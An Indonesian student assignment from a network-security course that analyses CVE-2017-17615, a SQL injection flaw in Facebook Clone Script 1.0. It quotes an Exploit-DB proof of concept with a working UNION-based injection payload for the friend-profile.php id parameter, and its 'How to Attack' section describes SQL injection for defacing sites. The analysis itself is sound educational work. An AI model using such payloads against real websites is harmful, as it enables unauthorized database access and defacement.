TUGAS II
MATA KULIAH KEAMANAN JARINGAN KOMPUTER

Oleh :

Rofby Hidayadi 09011281020132

Dosen Pengampuh : Deris Stiawan, M.T., Ph.D.

JURUSAN SISTEM KOMPUTER

FAKULTAS ILMU KOMPUTER

UNIVERSITAS SRIWIJAYA

2018

I. Judul Tugas

Analisis *Common Vulnerability and Exposures* (CVE) - **CVE-2017-17615**

II. Pengertian *Common Vulnerability and Exposures* (CVE)

Common Vulnerability and Exposures (CVE) adalah sistem atau katalog yang dikenal sebagai ancaman keamanan. Katalog ini disponsori oleh United States Department of Homeland Security (DHS). Ancaman terbagi menjadi dua katergori antara lain sebagai berikut:

A. *Vulnerabilities* (Kerentanan)

Sebuah *software, hardware* atau kelemahan dari prosedur yang menyebabkan penyusup (bisa dikatakan *hacker/cracker*) dapat membuka celah untuk masuk ke dalam sistem komputer atau jaringan sehingga memiliki kewenangan akses terhadap lingkungan dan sumber daya yang ada di dalamnya. Karakteristik dari *Vulnerability* adalah ke-alpaan atau kelemahan dari penjagaan sehingga sebuah sistem bisa di eksploitasi.

Sebuah *service* yang berjalan di *server*, atau sistem operasi dikatakan memiliki *Vulnerability* jika aplikasi di dalamya tidak/belum dilakukan *patch* (update versi) secara berkala. Terbukanya port pada firewall sebuah server, dan tidak adanya sistem yang mencegah virus masuk (anti virus) pada sebuah komputer dapat dikategorikan sebagai *Vulnerability*.

B. *Exposures* (Eksposur)

Sebuah *exposure* adalah suatu hal yang di ekspose oleh *threat-agent* (*hacker/cracker*) dan dimungkinkan dapat dibobol. *Vulnerability* dari *exposure* pada sebuah organisasi memungkinkan terjadinya kerusakan sistem. Contoh dari *exposure* adalah pada sebuah sistem login dengan *user* dan *password*, aplikasi memperbolehkan pembuatan password yang tidak kuat (dimungkinkan *password* dibuat tanpa kombinasi angka, huruf, dan karakter khusus) yang membuat sistem mempunyai celah untuk disusupi oleh *hacke/cracker* dengan mencoba masuk dengan cara melakukan kombinasi *user* dan *password* yang mungkin atau bahkan menangkap informasi dari *user* yang pernah melakukan login ke sistem.

III. Analisis *Hole*

CVE-2017-17615 *"Facebook Clone Script 1.0 has SQL Injection via the friend-profile.php id parameter"*. CVE ini dirilis tanggal 13/12/2017 dan terakhir direvisi tanggal 26/12/2017 dengan sumber US-CERT/NIST.

```
# # # # #
# Exploit Title: Facebook Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/facebook-clone/
# Demo: http://smsemailmarketing.in/demo/fbclone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/friend-profile.php?id=[SQL
#
```

```
# -
1'++/*!22222UNION*/(SELECT(1),CONCAT_WS(0x203a20,USER(),DATABASE()
,VERSION()))--+-

#

# http://server/friend-profile.php?id=-
1'++/*!22222UNION*/(SELECT(1),CONCAT_WS(0x203a20,USER(),DATABASE()
,VERSION()))--+-

#

# 2)

# http://localhost/[PATH]/process.php?send=[SQL

#

# # # # #
```

Adapun dampak yang dapat diakibatkan dari *hole* tersebut adalah memungkinkan terjadinya gangguan layanan hingga dapat terjadinya eksploitasi ataupun modifikasi informasi pengguna layanan.

IV. *How to Attack*

Pengguna teknik *SQL Injection* dalam proses *mendeface* sebuah *website* masih populer di kalangan peretas *website*. Hal ini karena banyaknya programer yang lalai menaruh perhatian terhadap serangan *SQL Injection*. Serangan ini merupakan serangan *deface* yang sangat halus sehingga seseorang *administrator website* tidak akan sadar jika ada seseorang yang telah masuk dan mengambil alih kontrol *administrator* suatu aplikasi berbasis *website.*

A. Apa itu *SQL Injection*?

Secara harfiah, *SQL Injection* adalah salah satu jenis penyerangan yang mengizinkkan user tidak sah (penyerang) untuk mengakses *database server*. Pada dasarnya, serangan ini difasilitasi oleh kode program itu sendiri. Tekniknya, penyerang mencoba memasukkan *query* (melalui *field* atau URL) yang akan *database server* meng-*generate query SQL* yang tidak valid.

B. Bagaimana cara kerjanya?

Cara kerjanya adalah memasukkan *query SQL* atau perintah (*command*) sebagai input yang dimungkinkan melalui halaman web. Dimana halaman web

mengambil parameter dari *user*, lalu membuat *query SQL* ke dalam *database.* Salah satunya adalah pada halaman login *user*, dimana pada halaman web akan membuat *query SQL* ke *database* untuk memeriksa *username* dan *password* yang tepat.

C. Apa yang diperlukan?

Untuk keperluan *SQL Injection* kita hanya membutuhkan *browser*. *Browser* yang dipakai adalah segala macam *browser.*

D. Apa yang perlu dicari?

Kita dapat memanfaatkan halaman-halaman web yang terdapat *submit* data, contoh : halaman *login*, pencarian, *feedback*, dan lain-lain. Kadang HTML menggunakan POST untuk mengirim parmeter ke halaman web lain, bisa juga melihat *source code* jika kita tidak dapat melihat pada URL.

V. Referensi

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17615

https://nvd.nist.gov/vuln/detail/CVE-2017-17615#vulnDescriptionTitle

https://www.exploit-db.com/exploits/43280/

https://packetstormsecurity.com/files/145320/Facebook-Clone-Script-1.0-SQL-Injection.html